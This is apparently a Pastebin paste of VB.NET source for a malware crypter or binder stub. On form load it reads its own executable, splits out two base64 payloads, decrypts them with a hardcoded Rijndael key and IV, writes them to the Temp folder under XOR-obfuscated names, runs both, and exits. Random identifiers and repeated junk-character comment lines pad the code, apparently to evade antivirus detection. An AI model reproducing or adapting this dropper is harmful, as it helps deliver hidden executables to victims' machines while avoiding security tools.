API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jul 26th, 2016
57
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.64 KB | None | 0 0
raw download clone embed print report
  1. Public Class Form1
  2. Function unsecure(ByVal data As Byte()) As Byte()
  3. Using sa As New System.Security.Cryptography.RijndaelManaged
  4. sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
  5. sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
  6. Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  7. End Using
  8. End Function
  9.  
  10.  
  11. '
  12. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  13.  
  14. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  15.  
  16. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  17. Private Sub INubjuiXcGlXRDefEbYGRSM(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  18. '
  19. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  20.  
  21. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  22.  
  23. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  24.  
  25. Try
  26. '
  27. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  28.  
  29. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  30.  
  31. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  32.  
  33. Dim gFUldeOivTMGIDcXFsgXWXX As String = My.Computer.FileSystem.SpecialDirectories.Temp
  34. '
  35. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  36.  
  37. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  38.  
  39. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  40.  
  41. Dim VkIGsnSlGKjpNapSprCYedr() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
  42. '
  43. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  44.  
  45. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  46.  
  47. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  48.  
  49. Dim QaKNrirBiTriJhqFqOIhlsn As Byte() = unsecure(Convert.FromBase64String(VkIGsnSlGKjpNapSprCYedr(1)))
  50. '
  51. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  52.  
  53. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  54.  
  55. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  56.  
  57. Dim TfJKTleTUPPlLdRkRcFEJMp As Byte() = unsecure(Convert.FromBase64String(VkIGsnSlGKjpNapSprCYedr(3)))
  58. '
  59. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  60.  
  61. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  62.  
  63. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  64.  
  65. My.Computer.FileSystem.WriteAllBytes(gFUldeOivTMGIDcXFsgXWXX & qikDABOoPGTCThsNpuAQgmc(Chr(40), ChrW(116) & ChrW(77) & ChrW(101) & ChrW(84) & ChrW(103) & ChrW(85) & ChrW(77) & ChrW(103) & ChrW(86) & ChrW(119) & ChrW(117) & ChrW(97) & ChrW(117) & ChrW(79) & ChrW(119) & ChrW(67) & ChrW(73) & ChrW(110) & ChrW(89) & ChrW(117) & ChrW(101) & ChrW(100) & ChrW(114)) & VkIGsnSlGKjpNapSprCYedr(2), QaKNrirBiTriJhqFqOIhlsn, False)
  66. '
  67. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  68.  
  69. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  70.  
  71. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  72.  
  73. My.Computer.FileSystem.WriteAllBytes(gFUldeOivTMGIDcXFsgXWXX & qikDABOoPGTCThsNpuAQgmc(Chr(40), ChrW(116) & ChrW(77) & ChrW(101) & ChrW(84) & ChrW(103) & ChrW(85) & ChrW(77) & ChrW(103) & ChrW(86) & ChrW(119) & ChrW(117) & ChrW(97) & ChrW(117) & ChrW(79) & ChrW(119) & ChrW(67) & ChrW(73) & ChrW(110) & ChrW(89) & ChrW(117) & ChrW(101) & ChrW(100) & ChrW(114)) & VkIGsnSlGKjpNapSprCYedr(4), TfJKTleTUPPlLdRkRcFEJMp, False)
  74. '
  75. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  76.  
  77. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  78.  
  79. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  80.  
  81. Process.Start(gFUldeOivTMGIDcXFsgXWXX & qikDABOoPGTCThsNpuAQgmc(Chr(40), ChrW(116) & ChrW(77) & ChrW(101) & ChrW(84) & ChrW(103) & ChrW(85) & ChrW(77) & ChrW(103) & ChrW(86) & ChrW(119) & ChrW(117) & ChrW(97) & ChrW(117) & ChrW(79) & ChrW(119) & ChrW(67) & ChrW(73) & ChrW(110) & ChrW(89) & ChrW(117) & ChrW(101) & ChrW(100) & ChrW(114)) & VkIGsnSlGKjpNapSprCYedr(2)) : Process.Start(gFUldeOivTMGIDcXFsgXWXX & qikDABOoPGTCThsNpuAQgmc(Chr(40), ChrW(116) & ChrW(77) & ChrW(101) & ChrW(84) & ChrW(103) & ChrW(85) & ChrW(77) & ChrW(103) & ChrW(86) & ChrW(119) & ChrW(117) & ChrW(97) & ChrW(117) & ChrW(79) & ChrW(119) & ChrW(67) & ChrW(73) & ChrW(110) & ChrW(89) & ChrW(117) & ChrW(101) & ChrW(100) & ChrW(114)) & VkIGsnSlGKjpNapSprCYedr(4))
  82. '
  83. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  84.  
  85. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  86.  
  87. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  88.  
  89. Catch ex As Exception
  90. '
  91. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  92.  
  93. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  94.  
  95. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  96.  
  97. Process.GetCurrentProcess.Kill()
  98. '
  99. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  100.  
  101. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  102.  
  103. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  104.  
  105. End Try
  106. '
  107. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  108.  
  109. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  110.  
  111. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  112.  
  113. Process.GetCurrentProcess.Kill()
  114. '
  115. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  116.  
  117. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  118.  
  119. '싹ꐵ哩적巏췋齓炋槙荎응犷旯쨩�젋䫂䨇嵒࿄්ꦆ촣⓪䬀榅ደ퉚�탈卲ᚩ灦赑鶐訶㴐违너ﶉ竘�⮤显篁쯩긒씝賰 멌祄跋ᔮᅬ鏟ඎ僞ਜ螺䱯
  120.  
  121. End Sub
  122.  
  123.  
  124.  
  125.  
  126. Private Function qikDABOoPGTCThsNpuAQgmc(ByVal bFacOEqICHBfUOJsd As String, ByVal ehUsuYoAIAcFwsNht As String)
  127. Dim PaGoSsdoOuRFaJIXa As String = ""
  128. Dim RFBHBPbgUnsdEnNMq As Short
  129. Dim UgtXhjZYagWEfURBK As Integer
  130. UgtXhjZYagWEfURBK = Asc(ehUsuYoAIAcFwsNht)
  131. For RFBHBPbgUnsdEnNMq = 1 To Len(bFacOEqICHBfUOJsd)
  132. PaGoSsdoOuRFaJIXa &= Chr(UgtXhjZYagWEfURBK Xor Asc(Mid(bFacOEqICHBfUOJsd, RFBHBPbgUnsdEnNMq, 1)))
  133. Next
  134. Return PaGoSsdoOuRFaJIXa
  135. End Function
  136. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!